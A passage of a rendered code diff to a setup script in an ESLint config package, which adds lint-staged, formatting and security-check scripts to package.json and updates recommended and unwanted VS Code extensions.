+
format: 'prettier . --write',
|
|
280
|
+
typecheck: 'tsc --noEmit',
|
|
281
|
+
'lint-staged': 'lint-staged',
|
|
250
282
|
precommit: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-commit.mjs',
|
|
251
283
|
prepush: 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
252
284
|
'security:global-scan': 'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/scan-global.sh',
|
|
253
|
-
'security:safe-check':
|
|
285
|
+
'security:safe-check':
|
|
286
|
+
'bash ./node_modules/@archpublicwebsite/eslint-config/tools/security/safe-reinstall.sh --check-only',
|
|
254
287
|
'security:pre-push': 'node node_modules/@archpublicwebsite/eslint-config/tools/git-hooks/pre-push.mjs',
|
|
255
288
|
}
|
|
256
289
|
|
|
@@ -262,13 +295,26 @@ function ensurePackageScripts(projectRoot) {
|
|
|
262
295
|
}
|
|
263
296
|
}
|
|
264
297
|
|
|
298
|
+
const lintStagedConfigPath = join(projectRoot, 'lint-staged.config.mjs')
|
|
299
|
+
const hasLintStagedConfig = existsSync(lintStagedConfigPath)
|
|
300
|
+
|
|
301
|
+
// Auto-heal legacy/broken lint-staged script when it points to a missing file.
|
|
302
|
+
if (
|
|
303
|
+
typeof scripts['lint-staged'] === 'string' &&
|
|
304
|
+
scripts['lint-staged'].includes('--config lint-staged.config.mjs') &&
|
|
305
|
+
!hasLintStagedConfig
|
|
306
|
+
) {
|
|
307
|
+
scripts['lint-staged'] = 'lint-staged'
|
|
308
|
+
updated = true
|
|
309
|
+
}
|
|
310
|
+
|
|
265
311
|
if (!updated) {
|
|
266
312
|
return
|
|
267
313
|
}
|
|
268
314
|
|
|
269
315
|
pkg.scripts = scripts
|
|
270
316
|
writeFileSync(packageJsonPath, `${JSON.stringify(pkg, null, 2)}\n`, 'utf8')
|
|
271
|
-
log('Updated package.json scripts (precommit, security:global-scan, security:safe-check)')
|
|
317
|
+
log('Updated package.json scripts (lint-staged, precommit, security:global-scan, security:safe-check)')
|
|
272
318
|
}
|
|
273
319
|
|
|
274
320
|
// ─── .vscode/extensions.json ────────────────────────────────────────────────
|
|
@@ -279,26 +325,24 @@ function ensureVscodeExtensions(projectRoot) {
|
|
|
279
325
|
|
|
280
326
|
ensureDir(vscodeDir)
|
|
281
327
|
|
|
282
|
-
const recommended = [
|
|
283
|
-
|
|
284
|
-
'esbenp.prettier-vscode',
|
|
285
|
-
'vue.volar',
|
|
286
|
-
]
|
|
328
|
+
const recommended = ['dbaeumer.vscode-eslint', 'esbenp.prettier-vscode', 'vue.volar']
|
|
329
|
+
const unwanted = ['octref.vetur', 'vue.vscode-typescript-vue-plugin']
|
|
287
330
|
|
|
288
|
-
let current = { recommendations: [] }
|
|
331
|
+
let current = { recommendations: [], unwantedRecommendations: [] }
|
|
289
332
|
if (existsSync(extPath)) {
|
|
290
333
|
try {
|
|
291
334
|
current = JSON.parse(readFileSync(extPath, 'utf8'))
|
|
292
|
-
if (!Array.isArray(current.recommendations))
|
|
293
|
-
|
|
294
|
-
}
|
|
295
|
-
|
|
296
|
-
current = { recommendations: [] }
|
|
335
|
+
if (!Array.isArray(current.recommendations)) current.recommendations = []
|
|
336
|
+
if (!Array.isArray(current.unwantedRecommendations)) current.unwantedRecommendations = []
|
|
337
|
+
} catch {
|
|
338
|
+
current = { recommendations: [], unwantedRecommendations: [] }
|
|
297
339
|
}
|
|
298
340
|
}
|
|
299
341
|
|
|
300
342
|
const merged = [...new Set([...current.recommendations, ...recommended])]
|
|
343
|
+
const mergedUnwanted = [...new Set([...current.unwantedRecommendations, ...unwanted])]
|
|
301
344
|
current.recommendations = merged
|
|
345
|
+
current.unwantedRecommendations = mergedUnwanted
|
|
302
346
|
writeFileSync(extPath, `${JSON.stringify(current, null, 2)}\n`, 'utf8')
|
|
303
347
|
log('Created/updated .vscode/extensions.json')
|
|
304
348
|
}
|
|
@@ -307,8 +351,7 @@ function ensureVscodeExtensions(projectRoot) {
|
|
|
307
351
|
|
|
308
352
|
function main() {
|
|
309
353
|
const projectRoot = getProjectRoot()
|
|
310
|
-
if (!projectRoot)
|
|
311
|
-
return
|
|
354
|
+
if (!projectRoot) return
|
|
312
355
|
|
|
313
356
|
log('Setting up project...')
|
|
314
357
|
|
|
@@ -316,6 +359,9 @@ function main() {
|
|
|
316
359
|
ensureEslintUserIgnore(projectRoot)
|
|
317
360
|
ensureEslintConfig(projectRoot)
|
|
318
361
|
ensurePrettierConfig(projectRoot)
|
|
362
|
+
ensurePrettierIgnore(projectRoot)
|
|
363
|
+
ensureCommitlintConfig(projectRoot)
|
|
364
|
+
ensureLintStagedConfig(projectRoot)
|
|
319
365
|
ensureHooks(projectRoot)
|
|
320
366
|
ensureHooksPath(projectRoot)
|
|
321
367
|
ensureSecurityScripts(projectRoot)
|